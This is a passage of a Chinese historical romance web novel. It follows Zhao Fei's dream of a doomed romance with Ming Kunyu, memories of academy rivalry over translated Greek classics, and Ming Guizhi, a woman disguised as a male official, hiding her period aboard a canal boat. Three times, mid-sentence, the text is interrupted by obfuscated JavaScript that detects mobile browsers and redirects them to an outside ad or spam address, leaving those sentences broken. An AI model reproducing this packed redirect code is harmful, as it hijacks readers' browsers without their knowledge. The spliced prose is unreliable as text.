施氏倚在雕花屏风旁，杏黄褙子沾了晨露，像只湿了翅膀的雀儿。 他细细打量着房间。 香炉里浮出芙蓉香。 绣绷上绷着未完工的罗帕，银针还别在并蒂莲的花苞尖。 螺钿妆奁半开着，滚出来几粒珊瑚耳珰。 大约是谁家姑娘赌气摔了首饰匣子。 最扎眼是月牙凳上搭着件茜色披帛，金线绣的蝴蝶须子缠在椅背雕花里，恍如春日扑进罗网的活物。 也不像是父亲与施氏的房间。 这是间未出阁女子的闺房。 可是，看着却不似二妹的喜好。 施氏的声音又响起：“你与明家那小子的事，莫要再在老爷面前提……” 说着，她往门外觑一眼，仿佛赵廓的曳撒还曳在青砖地上。 “你知道老爷最讨厌姓明的。” 明家那小子…… 是明昆玉？ 他们回京城了？ 定是他为昆玉与二妹作媒，惹父亲发火了 “莫发怔，”施氏绞着帕子过来，腕上翡翠镯子叮当响，“绮罗坊新到了蜀锦，裁春衫正合宜，还要去珍华轩选首饰……” 裁春衫？选首饰？ “我不用去杭州了？” 这话一出口，他自己先惊住。 声音细细袅袅的，像灶上煨着的冰糖雪梨汤，甜得发苦。 他再低头看自己腕子，本该执剑的手，如今套着绞丝银镯。 肌肤细嫩如羊脂白玉，骨架纤细柔软。 这是……？ 他一骨碌起身，讶然看见帐外铜镜，那里头隐约映着个穿绯色袄裙的影子，红得能掐出胭脂汁。 赵斐赤着脚，直愣愣扑到镜前。 铜镜被晨雾呵得朦胧。 他伸手去抹，指尖蹭到镜面凝的水珠子，凉津津沿着掌纹往下爬，像谁在暗处垂泪。 镜中人是他，也不是他。 一模一样的五官，却处处添了女子的阴柔。 眼尾还挑着胭脂描的红。 他摸向喉间——本该硌手的喉结，此际平平滑滑。 窗棂漏进一线光，正巧照在镜中人的发髻上。 是未婚女子常见的桃心髻。 最奇是耳垂凭空多出个针眼，缀着金玉耳珰。 檐角铁马叮咚两声，赵廓的云纹曳撒停在门槛前。 他冷声道：“你要是非嫁姓明那小子不可，我宁可打死你、饿死你，就当从没有过你这女儿！” 赵斐怔怔望着镜。 发间步摇簌簌乱颤，像惊舞的蝶。 施氏急急往他肩上搭茜色披帛，好生劝道：“你当初非要女扮男装，到书院去读书，老爷能允你去读，已是十分疼惜你……乖，听老爷的……况且，明家与赵家三代世仇，你和那明家儿郎怎会有好结果呢？” 赵廓一甩衣袖：“当初就不该让她去书院！所有人听着，今日起，大小姐锁在绣楼待嫁，省得她学那祝英台！” 大小姐…… 赵斐恍然大悟。 这才是真实的。 他是赵家大小姐。 女扮男装到豫东书院读书。 与明昆玉六载同窗，相知相惜。 相倾心。 芦苇荡的同生共死，停云楼的听书说书，景州的默契作戏，还有明郎为他挡刀，手臂划破了极深伤疤。 那些才是南柯一梦。 真好。 他心想。 明昆玉手没有受伤，没有失魂症，还是那个名动天下的状元郎。 他们有无穷无尽的朝朝暮暮。 说诗词歌赋，说经史子集。 聊家国天下，聊春花秋月…… 镜中人脸颊洇开一抹霞，赵斐不禁抿嘴笑了。 指尖抚过耳珰，凉丝丝的。 “村里酬神多庙会，年年由我扮观音……” 他柔柔看着耳上环痕，对镜哼唱《梁祝》戏文。 尾音打着旋儿飘，惊得梁间燕乱撞。 “梁兄做文章要专心，你前程不想想钗裙……” 铜镜边角一闪，映出施氏煞白的脸。 杏黄褙子擦着门框跌出去，似只受惊雀儿。 赵斐浑不在意，自顾自往鬓边簪海棠花。 金步摇坠的流苏扫过耳垂，痒痒的，堪似指尖无意蹭过的温热。 …… 豫东书院后山，松针簌簌落满青石径。 赵斐提着绯色裙摆，踱步到林间。 他正狐疑，自己是怎样从绣楼逃出？那处可是层层深锁。 一抬眼，明昆玉的黛色身影浸在晨雾里。 “明郎！” 他笑着奔向那抹黛色。 那人转身时带起松风，赵斐怔怔仰头。 在他梦里，明郎矮他一头。 此刻，竟要他踮脚才能平视。 明昆玉指尖蜷着个松塔，目光掠过他耳垂金环：“赵娘子……” 赵斐惑然。 明郎怎么唤他如此生分？ “抱歉，我不能娶你。” 明郎满目歉意。 “为什么？” “我心有所属。” 赵斐喉头瞬间涌起腥甜。 他心里有无法抑制的浪涛，随时将二人淹没覆盖。 “是谁！” 他一把抓住明郎手腕，指甲深深掐进对方肌肤。 “是你兄长，赵允书。” 明昆玉退后半步，袖口沾的松脂香直往人鼻子里钻，“我心仪他、爱慕他，只可惜，断袖分桃，为世所不容……” 赵斐愣住，却一下便想通。 一定是他还未告诉明郎——赵允书与赵家大小姐原是同一人，是他女扮男装的。 “你与允书相貌十分相似，但我不能拿你作替代品。” 明昆玉目光柔得能把人溺沉：“更何况，赵允书是独一无二的，无可替代，我心里……” 松脂香气混着后半句，被明郎咽回喉间。 赵斐忍不住笑出声。 他蓦然扑进明郎怀中。 指尖戳向那人心口，茜色披帛扫落一地松针。 “呆子，你还未发现么，我就是赵允书，赵允书就是我！” 明桂枝怔忡间，他已踮脚咬上对方喉结。 松塔“啪嗒”坠地，陆续惊起灰雀。 山风渐渐转柔，卷着两人发丝缠上松枝。 明昆玉指尖触到赵斐耳垂金环，冰得缩了缩，反被他捉住按在心口。 “你之前问我，‘耳上有没有环痕’……” 他娇俏一笑：“这回，你可看真切了？” 话音没入对方唇齿间，比松针上的露水还轻。 “嗯……”明郎吻他耳垂：“我从此不敢看观音。” …… 日影渐渐西斜。 松针铺成的青毡上，赵斐披着明昆玉的黛色衣衫，默默数云絮。 两只灰雀歪头瞅他们交缠的发梢。 明郎拢了拢他的领口，对着残阳细看那些淡红印子，经霞光一染，像为他盖了满身的相思章。 松影斜切过明昆玉脊背时，林间惊起寒鸦。 赵斐襟口的海棠扣崩落一颗。 滚进枯叶堆里，恰被乌皮靴碾过。 一抬眼，竟看见赵廓袍角的猛虎，张着金线绣的利齿。 “好个状元郎！” 马鞭破空声比话音先至，明郎未着上衣，肋骨处瞬间肿起紫痕。 赵斐扑过去挡，发间步摇却被他父亲攥住，生生扯下半绺青丝。 施氏带着家丁、婆子追来，翡翠耳坠晃得厉害：“老爷仔细手疼！” 话音未落，赵斐左颊已印上五道指痕——火辣辣地疼，比耳垂金珰还烫人。 明昆玉嘴角渗血，撑着身边松树：“赵大人，我对允书一心一意，至死不渝，望您成全！” “成全？你不知道你我两家是世仇！” 赵廓一拳捶得明郎吐血：“你偏要诱骗我女儿，其心可诛！” 说罢，他抬了抬手，几个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15093164|160291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家丁猛地把明郎按进泥里。 黛色衣衫浸着松脂与血，仿佛打翻靛青染料缸。 赵廓踢开染血的松塔，金丝履碾着赵斐散落的珠钗。 他对明昆玉狠狠道：“三日后，西郊马场，你我决一死战！” 轿帘落下前，赵斐望见明郎趴在尘土里，摸索什么——是他那粒海棠扣。 它被明郎攥进掌心，吻了又吻。 …… 轿帘缝隙漏进残阳。 “西郊马场……决一死战？” 车轱辘碾过青石板，碾碎赵斐的低语。 他心里纳闷——宁朝什么时候有这样的传统？ 再说，按父亲的性情，他难道不是该立即动笔，参明世礼一本，告他教子无方？ 更何况，父亲又不是武官，明郎却年轻力壮，他不一定打得过呢。 “喝了它吧。” 耳边传来熟悉的声音。 赵斐一回神，发现自己在赵府绣楼里。 眼前人竟是方靖！ 琉璃药瓶在他掌心泛着幽蓝。 “方仲安？” 赵斐讶异：“我认识你？” 如果他不曾去杭州，他不该识得方靖。 “如果你不认识我，你怎么知道我是方仲安？” “有道理。” “如果我不认识你，我怎会把如此贵重的药给你？” “是什么药？” 赵斐端详那药瓶，那蓝蓝幽光散发诡异气息。 方靖道：“假死药。” “哦？” “喝了它，你会假死三天，你父亲必定追悔莫及，届时你醒来，他绝对会允许你俩成亲。” 赵斐皱着眉。 总觉得眼前这情形，他在哪处见过或者听过。 “万一，明郎真以为我真死了呢？”他想到明郎满身泥尘地找他的海棠扣，那惨惨戚戚的模样。 “他为我殉情那怎办？” “放心，有我。” 眼前人话少，不似他梦里的方靖唠叨，感觉更可靠。 赵斐接过琉璃瓶，仰首一灌。 浓稠药汁滑进喉管，烧灼他所有器官。 刹那间，无边的黑暗侵袭。 他坠入深深睡意中。 也不知过了多久，耳畔传来方靖忽高忽低的呜咽。 他一睁开眼，就看到明郎的额头正抵在他心口。 匕首从前胸贯穿至后背，血浸透靛蓝衣料，凝成黑紫色硬痂。 赵斐艰难喘息。 手悬在半空，抖得厉害，五指关节泛着青白。 指尖触到明昆玉鼻下时，凉意顺着血脉，冻住五脏六腑。 连窗外春蝉都噤了声。 他猛地抽回手，指甲在明郎苍白的皮肤上刮出红痕。 像胭脂蹭脏了雪地。 想吸气，肋骨却被死死箍住，胸口闷得发疼。 耳畔嗡嗡作响。 明郎衣襟上的血渍分明已经凝固，此刻却在他视线里晕成黑斑。 一涨一缩，不断挤压着他眼球。 “我不过去了一趟窑湾镇，买了几埕绿豆烧......” 方靖哭得满脸眼泪鼻涕：“一回来……就见他在你棺前自戕......” 赵斐突然呛出满口药汁，苦得发腥。 怀中人袖口滑下一道金光，是他那日跌落松林的海棠扣。 “明郎！” 嘶喊声震落梁间积灰。 赵斐猛然坐起。 冷汗浸透中衣，紧紧黏在他脊背上。 他盯着舱顶横梁发怔。 耳畔真真切切响着船工号子，运河水的腥气涌进舷窗。 赵斐猛地翻身坐起，指甲掐进掌心——疼的，火辣辣的疼。 太好了，是梦。 只是梦。 晨光爬上灰青色的绸褥。 赵斐搭在膝头的手指突然一蜷。 心里徒然震惊。 他猛地并紧双腿，后腰抵向舱壁。 那力道极大，似要把自己嵌进木纹里。 不，不好…… 是糟糕才对！ 心口突突跳动，比船头破浪声还急。 耳膜被心跳震得发麻。 他盯着矮几上半盏冷茶，仿佛茶水泛起涟漪，跟着心口起伏的节奏打转，一圈套着一圈，绞得人喉头发紧。 此时此刻，赵斐竟觉得比梦里明昆玉死时更慌乱。 28.龌蹉 寅初，天还靛青着。 运河像一汪凝固的墨，稠稠地结着雾气。 船工们的鼾声在舱底打着转儿，偶尔漏出一两声，和应着鱼儿的吐泡节拍。 船舷边，一只织女银鸥立在桅杆上打盹。 它脑袋缩进翅膀，似一球灰扑扑的绒团子。 赵斐怀里的鸦色布团沉甸甸。 里头包着玄铁镇纸，棱角硌得他肋骨生疼。 那镇纸原是压公文用的。 如今，成了替他湮灭罪证的帮凶。 布角一松，衣物与床单裹着铁疙瘩“咚”地栽进河里。 惊得织女银鸥炸开羽毛，哗喇喇划着水飞走。 赵斐耳尖烧红，直愣愣盯着水面。 布团隐约有污渍晕开，像谁用饱蘸墨汁的笔尖戳破宣纸。 浊色丝丝缕缕洇散，泛出诡艳纹路。 水气混着雾霭，麝香的甜腥气味蔓延，蓦地涌入他鼻腔。 雾气漫过眼皮，那污渍恍惚间化作人形，黛色衣衫松松垮垮地浮沉着，襟口别着一粒海棠扣，红得滴血。 岸边传来梆子声，赵斐猛地一激灵，却见涟漪早散尽了。 河面只剩雾霭搓成的细纱，虚虚掩着，仿佛什么也不曾发生。 …… 彼时，豫东书院的暖阁总在申时氤氲着躁动。 “我家嬷嬷说……”王御史家的二郎压低声线，“说这初次的物什要在正午烧掉，防着精怪窃了元阳去。” 话尾溅起一阵窸窣低笑，混着茶盏磕碰的脆响。 刑部陈侍郎的侄儿忽然探身，衣襟扫翻笔架。 “我初次‘那个’的次日，我娘就遣来个扬州丫头，”他挑了挑眉，“那腰肢比柳条还软，咬人似奶猫磨牙……昨晚教她作画，足足‘画’到了三更才……” “嗤，你那是没尝过胡姬的辣劲儿！”郑祭酒家的小公子抖开鎏金折扇，“上月我舅舅送了个波斯舞姬，那冰肌胜雪，滑得似羊油凝的……”他舌尖顶开一粒盐津枣，“咬着半生不熟的汉话……什么‘郎君’、什么‘官人’……害得我告了三四天病假……” 廊外老槐飘絮，白茫茫一片，像要掩去这满室的不堪入耳。 石阶青苔斑驳。 赵斐沉着脸往西走时，后头暖阁里的哄笑还追着耳根子——韩家五郎正拿笔杆比划什么，窗纱上投出歪扭、颤动的影子。 他惯常躲去西南角的竹林。 石阶尽处有座废亭，匾上本有“听篁”二字，却早叫藤蔓啃去大半。 亭中石案铺满算纸，明桂枝总在斜倚斑竹疾书。 听到脚步声，“他”每每抬头望来，眼风比竹影还淡，像早料定会有人来。 竹影总在酉时切进废亭，将石案剖成阴阳两半。“他”惯常踞在阴面，在宣纸上勾画些古怪符咒——三角套着圆，直线切出锐角，如同老道画的镇妖符。 赵斐隔着竹帘偷觑，常疑心那些图形会活过来。 有一回，他见明桂枝画了个规整六边形，笔锋一转，标上蝌蚪似的文字。 风掠过竹梢，偶尔飘落几页，被风卷到赵斐脚边。 他拾起来细看，见某张画着方中嵌圆，露出半幅星斗阵——圆规轨迹叠着算筹，似把漫天星宿都锁进方寸之间。 却有天，“他”遗下其中一本书。 竹影筛下碎金，赵斐指尖抚过那本蓝布封皮。 他掀开扉页便怔住——满纸弯钩似的字符，好像蚂蚁跳着胡旋舞。 插图上，直线切圆如快刀剖橘，露出等分的橘瓣，每瓣都标着蝌蚪文，恍若龟甲上的灼裂。 不知何故，比同窗们私下传阅的《胜蓬莱》还诱惑人。 风掠过竹林，书页沙沙翻动。 他恍惚瞧见明桂枝执笔勾画这些符咒的模样——睫羽垂成帘，遮住眼底星子。 那个午后，赵斐几乎逛遍全京城。 胡商卸下骆驼鞍，波斯牙人咂着葡萄酒，吕宋来的老丈在给豆蔻称重。 赵斐攥着书角挨摊问，直问西市到最后的摊子，才有个大食药商眯眼认出来：“《几何原本》，这是极西古国大夏的智者所著，译成大食文，又转汉话……”药商指甲缝有根藏红花，落在书页，“小郎君要译本？得等秋风来。” 秋雨打湿青石板那日，黄麻纸包着的译本终于递到手中。 赵斐蜷在祠堂耳房，就着长明灯啃读。 “两点之间直线最短”的定理首先跃入眼——世间情丝万千，最干净的本是这般笔直利落。 他渐渐品出趣味，揣着炭条蹲地，在石板地上画辅助线。 暮鼓声中，他抱膝望月，想着明桂枝是否也这般推算过星轨。 某夜解出球体积公式，喜得踢翻洗笔缸，墨汁泼了满墙，像幅狂草写的欢喜禅。 暖阁里的笑声再飘来时，赵斐正在验证欧几里得的第五个公理。 王公子探进半个身子唤他，却见满地算纸如雪。 赵斐鬓角沾墨犹不自知，只顾对着虚空比划：“一条线段与两条直线相交……在某一侧的内角和，小于两直角和……在内角和小于两直角和的一侧……” 那痴态唬得纨绔们讪讪退去，如被符咒吓走的魍魉。 废亭里，他又与明桂枝撞见。 赵斐摸向怀中译本，欲言又止。 天知道他多想与“他”探讨欧几里得的智慧！ 一抬眼，窥见那人的案头换了新书。 羊皮封面的古籍，烫印的三角与圆泛着光。 他佯装不经意瞥见，指尖在掌心临摹那异域文字。 午后西市，赵斐抽出叠银票。 大食药商眸光一闪，从腌臜羊皮卷里掏出油布包：“小郎君要的《圆锥曲线论》，两月前才运到杭州，一共两本……大食文那本上旬卖了，恰好剩下这译本的……” 月光漏过驼毛毡帐，照见封面的烫印。 赵斐问他：“买走大食原典的人，是不是穿黛色衣衫？” “嗯，戴着玉冠，比你略矮一些。”药商数着银票头也不抬，“说要配齐阿波罗尼奥斯的全套著作。” 赵斐心头蓦然一热。 为这妙不可言的缘分。 竹影在石案上爬过春去秋来，明桂枝的案角总有新书，封面烙着各种古怪纹样。 有时是持剑的哲人，有时是缠蛇的权杖。 有时是西域的天平，有时是密集的星图。 赵斐总悄悄在心里临摹书名。 待一散学，便去西市寻大食药商。 药商的汉语极好，不时咒骂远在泉州、广州的季风。 见赵斐来，他掀开毡毯，露出泛黄的典籍：“《光学》要等三月，船困在占城了……《天文大集》倒是新到，可你得用最上等的丝绸换。” 没有人喜欢被坐地起价。 赵斐皱了皱眉。 药商看他不悦，笑道：“小郎君可知？这些个大夏典籍，还得数黑衣大食的哈里发马蒙最痴——当年他在巴格达建智慧宫，发派使臣到君士坦丁堡，是拿等重黄金，去换托勒密智者的手稿……波斯人译完大夏文，亚述人哈查吉再转译大食文，最后还要经星象官校验数字—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15115714|160291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光这卷书就耗了三年七个月！” 这般说来，倒是不亏。 最后，他用三十匹织金罗，换来整套的托勒密著作译本。 雨季漫着霉味，赵斐腋下夹着新淘换的《气象学》，踩过青苔进了废亭。 石案上青苔又厚了三分，明桂枝那本《动物志》倒扣着，里头还夹着片晒干的竹叶。 那大食药商给的油纸包，总带着胡椒味儿。 这回是《论浮体》，汉译本比大食原典迟了二十日。 赵斐盘腿坐在石凳上，瞥见明桂枝凝神细读，左手捏着枚缺角的芙蓉花书签——和上个月夹在《论球和圆柱》里的那枚一模一样。 暖阁飘来王公子们的哄笑，裹着酒气撞在竹帘上。 明桂枝忽而起身，黛色襕衫扫落笔墨，正巧滚到赵斐新铺的演算纸边。 两人同时弯腰去捡，指尖将触未触时，书院晚钟响了。 赵斐缩回手，把亚里士多德的经典翻得哗哗响。 明桂枝袍角轻扬，早已捡了笔墨离去。 废亭东北角两摞书，汉译本摞得齐整，大食原典总歪歪斜斜。 暴雨淋湿了《形而上学》的书脊，赵斐用浆糊粘了好几遍，顺手把明桂枝那本脱线的《工具论》也糊了糊。 暮色染透竹帘时，赵斐摸出簇新的桂花书签，夹在《论灵魂》的大食原典里。 午后，竹帘被风掀起。 明桂枝的黛色衣袖扫过书页，那桂花签泛着幽香。 暖阁方向又爆出阵阵狎笑。 韩家小世子在吟“一枝红艳露凝香”，陈家公子击盏唱和。 酒气腌透半座书院。 赵斐忽然庆幸这满亭书香如盾，连带着宿敌翻书的沙沙声，都成了抵御腌臜的城防。 …… 午时，船厅。 八仙桌上搁着两碗虾籽面，瓷碟里码了腌脆瓜。 方靖擤鼻涕的动静惊飞窗外水鸟。 “假死药岂能乱用！那罗密欧但凡多问一句……” 赵斐长叹一口气。 光怪陆离的梦，一下子从脑海深处漫上来。 定是昨晚听了明昆玉说的，那罗密欧与朱丽叶的故事，所以梦里一下子决斗，一下子假死…… “嘭！” 方靖红着眼眶拍桌子：“都怪那劳道长！这老东西定是吃醉酒，误了时辰！” “嗯……” “难道不是？他要是及时送信，罗密欧何至于自戕？净耽误事！” 赵斐挑起一箸面，热气熏疼了眼。 想起梦里的方靖一脸无辜——“我不过去了一趟窑湾镇，买了几埕绿豆烧”…… 他喉头一紧，冷声道：“哦，你也知道会耽误事。” 方靖把腌脆瓜嚼得咯吱响，浑不觉赵斐指节已攥得发白：“不行！等下昆玉他醒了，我立马让他改了这殉情结尾，我要罗密欧与朱丽叶双宿双栖、生儿育女！” 双宿双栖，生儿育女…… 虾籽面在碗里坨成团。 赵斐盯着面汤浮油。 昨夜梦里余温突然漫上舌尖——他耳垂的凉，松脂混血腥的涩，唇齿间的烫。 他第一次的“那个”，竟是因为梦见“他”…… “不行！” 赵斐猛地起身，一拍桌子。 那面碗震得旋了旋。 “不能改结局？” 方靖怔怔问他。 “不是。” “那是……？” “我要他娶我二妹，” 赵斐瞳仁微颤：“无论如何！” …… 29.踌躇 官船泊在运河上，暴雨密集落在篷顶。 噼噼啪啪响得热闹。 舱里小泥炉煨着粥，白汽袅袅的，混着药罐子苦香。 明桂枝舀一勺鸡茸粥，吹了两口。 粥体细腻，裹挟着鲜香。 但她这两天不知何故，总感觉小腹坠胀，胃口极差。 方靖盘腿坐矮榻上剥橘子。 果皮甩进炭盆里，滋啦冒一缕青烟。 “昆玉，你脸色怎这样白？还未退烧？”他皱眉道：“真不懂你，丫鬟婆子全遣散了，这回儿可好，连个端药递帕的人都没有。” 赵斐为他俩添茶，水线细细一道，茶叶片连打旋儿。 “孤身终非长久计，总得娶房妻室，有人知冷知暖。” 他垂着眼，话头转得生硬：“舍妹性子柔顺，不止擅女红，管家记账也精通，自小跟我祖母学的……还懂药膳，你娶她过门，日日有热汤暖胃。” 明桂枝夹一箸腌脆瓜，咬得咔嚓响。 “令妹十项全能。”酸汁浸得舌尖发麻，她忽地抬眼，“但我如今与废人无异，岂敢高攀？” 赵斐手一抖，青瓷壶“咚”地磕在茶托上。 他一把攥住明桂枝腕子，白纱底下透出药膏的苦味。 “废人？”赵斐强压怒意：“与方大人论银税法的是废人？在德州想出平粮价妙计的是废人？半个时辰拟出‘期货契约’的是废人？” 尾音生生咬断在齿间，指节却愈发收紧，仿佛要捏碎那截伶仃骨头。 心间怨气像滚水浇在雪堆上，嘶嘶冒着白烟。 赵斐盯着自己发红的指节，仿佛它们刚掐过烧红的烙铁。 他该畅快的——这人终于剥了那层游刃有余的皮，露出落魄相。 可当“废人”二字真从明昆玉嘴里滚出来，却似钝刀剜他心尖肉。 方靖扔了橘子来掰他手指：“松手松手！昆玉腕子有旧伤！” 赵斐猛地撤了力道，袖口茶渍晕成一片。 恨意像融化的冰，不知不觉渗进骨缝里，冻得他浑身发颤。 指尖还残留着那人腕骨的触感，像握过一截将熄的炭，明明烫得掌心发疼，偏要死死攥着不让火星灭了。 舱外雨势愈急，泼天响动里混着他低哑一句：“……你不可妄自菲薄。” “妄自菲薄？”明桂枝笑得坦荡：“你又不是不知道，我如今连《三字经》都背不全了，今早对着船工问路，把‘瓜洲渡’说成‘冬瓜渡’，惹得梢公们偷笑半日。” 药罐子咕嘟冒泡，水汽蒙了半扇窗。 赵斐盯着那团白雾，突然抓起案头一叠公文。 “前日，你与我讨论市舶司税改——”纸页抖开哗啦响，“‘阶梯抽分’‘货值折银’，哪条不是切中要害？就凭翰林院那帮老学究，他们憋三年也憋不出这等见识！” 方靖拾起飘落的纸笺，上头赵斐字迹笔走龙蛇。 他眯眼念：“‘番货估价须以江南米价为基准’……妙，妙啊！去年琉球商人拿珊瑚换生丝，硬说珊瑚价同东珠，气得泉州的市舶司使掀了桌子！”他冲明桂枝竖拇指，“你这失魂症失得好，酸腐气全泼进运河了！” 明桂枝搁了碗，认真问赵斐道：“允书，你怎知令妹定会心悦我？” 她目光澄澈，窗缝漏进的雨丝正扫过眉梢。 “成亲是一辈子的事，你若替她作主，她反抗不得，但或许怨恨一世。” “她会心悦！”赵斐猛地起身，袍袖带翻茶盖。 昨夜梦境突然撞上心头…… 满天松针簌簌，“明郎”含情脉脉。 ——“我心有所属。” ——“是你兄长，赵允书。” ——“我心仪他、爱慕他，只可惜，断袖分桃，为世所不容……” 茶盖当啷滚到脚边。 赵斐弯腰去拾，后颈烧得厉害。 “允书？”明桂枝比他先捡起。 她递过茶盖，手臂白纱下透出淡青血管。 赵斐盯着那截手腕，恍惚又见梦里“明郎”与自己十指交缠。 “她会心悦你，一定会。” 这话说得咬牙切齿，倒像在说服自己。 雨声愈急，盖住后半句。 “……世上不会有比你更好的男子。” …… 京城，未时三刻。 金銮殿外，白石阶上滚过闷雷。 御花园的芍药骨朵儿让风压弯了腰。 方卯扶着玉带往宫门踱，雪白的眉毛被乌云衬得像两簇银针。 监察御史贺雪虹在后头紧赶两步，绯袍下摆一扫，刮过青砖缝里的碎花瓣。 “关若颐这五千匹云锦的账……”贺雪虹寿眉耷拉成个八字，“倭人商船统共才三艘，生丝堆到桅杆顶也装不下……” “有人借着倭寇做幌子，洗自家烂账。”方卯驻足，指头敲了敲路边太湖石：“你瞧这窟窿眼儿，都知道是谁捅的……” 石孔里钻出只黄腰柳莺，扑一下飞上松枝，“皇上偏夸他‘老成持重’。” 贺雪虹袖着手望天。 云层裂了道缝，漏下一线惨白的光。 “郭岘府上那些个波斯毛毯、琉璃盏，总不会是从天上掉下来的。” 他靴尖碾碎半片芍药瓣，胭脂色汁渗进砖缝，“只是皇上既想保他，你我倒不如借他的梯子……” 话尾隐在又一声闷雷里。 方卯没有接话。 “说到梯子——关若颐家倒有个会爬梯的……” 他捋着雪白须髯，生生扯开话题：“老夫在来京城的路上，听说这么一桩事——那关若颐的长女，原本配了苏州知府倪佑安的次子为妻，却恰逢她父亲遭了事，她怕被父亲牵连，趁着婚约未解，连夜翻进倪家别院……” “好端端的正妻，岂非变作外室妾侍？”贺雪虹顺意接过他的话，讥诮调侃：“这关家女子如此算计，终究是伤敌一千自损八百。” 方卯指尖叩了叩石上孔窍：“关若颐家风不堪，但倪家也好不到哪去，所谓‘不是一家人，进不来一家门’。” “哦？此事还有后续？” “不然老夫怎会知晓？” “愿闻其详。” 方卯嗤笑：“后来，关若颐的罪证据越发确凿，倪佑安这老狐狸，既怕担窝藏罪眷的罪名，又不敢把该女遣还关府，唯恐被大理寺叫去协查，竟把人往徐州教坊一塞了事。” “徐州教坊？” 贺雪虹皱眉讶道：“谁想出来的昏招？” “蠢人都自作聪明，”方卯甩了下衣袖，拍走肩上的花絮：“倪佑安不敢把她留在苏州地界，却也怕此事被徐霁民、阎竹阅等人知晓，便把人扔在徐州。” “糊涂。” “可不是，那关家女刚到徐州教坊，便放出话来，说待朝廷还她父亲清白，倪家二郎定要替她赎身，闹得满城皆知，都在说倪二公子与教坊女子私定终身——” “是个有主见的。” 雨点子终于砸下来，贺雪虹摸出油纸伞撑开，往方卯处遮。 “呵，”方卯冷哼一声：“老夫途径徐州的时候，那知县正为此事烦心，说教坊主事日日来闹——那关家女打不得、骂不得，锦衣玉食养着，于是明里暗里向我打听关若颐案的进展……”伞沿雨水汇成线，滴滴答答落在他靴上。 贺雪虹望着伞骨间漏下的雨线，轻叹：“这女子心性够狠，可惜命薄，若真熬到倪家倒台，便是教坊司也关不住她。” 方卯背着手钻进雨幕，雪白眉毛淋得透亮。 “霞山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122930|160291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，”他唤贺雪虹的字：“若你真想借郭岘的梯……” 他忽地回头，眼珠子被天光映得锃亮。 “不如猜猜，他的门生里，有几个与倪佑安不对付的？” …… 大运河上，官船在雨里晃，舱顶悬的羊角灯也跟着晃。 明桂枝蜷在竹榻上，数着漏雨滴在铜盆里的声响。 她小腹不时有隐隐坠胀。 这感觉很熟悉——她每次月事前几天，便会如此。只是想不到原身这躯体也有同样反应。 何其巧妙的缘分？ 明桂枝攥紧被角，冷汗浸透的里衣贴在脊梁骨上，凉津津一条蛇似的。 窗外雨丝斜扫进来，船板缝里渗的水渍洇成淡红。 她盯着那抹红发怔——从前再寻常不过的月信，此刻却成了欺君之罪。 指尖无意识抠着榻沿木刺，木屑扎进肉里竟不觉疼。 原来人慌到极处，连痛都要分个轻重缓急。 这个时空的女子是如何处理月事？ 听闻要垫草木灰？ 是该垫在布的上面？还是下面？ 草木灰是去集市买的吗？ 还是要自己烧？ 舱顶漏下的雨滴在铜盆里，叮一声，叮又一声。 她忽然很想笑。 笑自己算得尽市舶司的税银，却算不准草木灰该垫多厚。 有一瞬间，她想向赵斐求助。 要开口吗？ 月事带、腹痛、女儿身……这些词要用什么表情说？ 舌尖抵住上颚又松开，几番下来，打好的腹稿终究咽了回去。 并非难以向男子启齿这种私密。 只是……她女扮男装考状元、当官，在这个时空乃欺君犯上的死罪。 短短半月，她已经连累赵斐两次。 他若知道自己是女子，便是同谋…… 若是哪天被暗中的政敌知晓，两人都要掉脑袋的。 上回遇刺时，他额角挨的那刀，痂还没掉呢。 忍一忍，忍住，不要说！ 自己想办法…… 总会有办法的。 不能再连累他了。 …… 赵斐的脚步声停在舱门外，玄色靴尖映着廊烛。 他听着里头竹榻咯吱声忽急忽缓，心里担忧——“他”是伤口发作，痛得辗转反侧吗？ 指尖摩挲着药碗边沿——碗底还沉着两枚蜜渍红枣，是他特意让厨娘加的。 “昆玉，你可要添炭？” 话刚出口，他便后悔了。 “他”大概亦厌烦被当病秧子照料吧。 声音隔着门板闷闷的。 明桂枝盯着案头将熄的烛火，蜡泪堆成个小山包，尖上凝着点猩红。 “不必，”她察觉自己声线发颤，慌忙补了句：“有心了，我正准备睡，莫扰。” 赵斐盯着门缝里漏出的一线光，怔了怔。 或许是他错觉，这声“莫扰”如奏折上的官话冷淡。 廊柱突然吱呀一晃，船身颠簸间，药汁泼湿他袖口内衬，冰得腕骨一激灵。 “夜里潮气重，喝碗姜汤。” 他弯腰搁下药碗，青瓷底碰船板发出声响。 惊飞两只宿在篷顶的雨燕。 “红枣记得吃，祛寒。" ” 舱内骤然响起铜盆倾倒声，混着明桂枝短促的抽气。 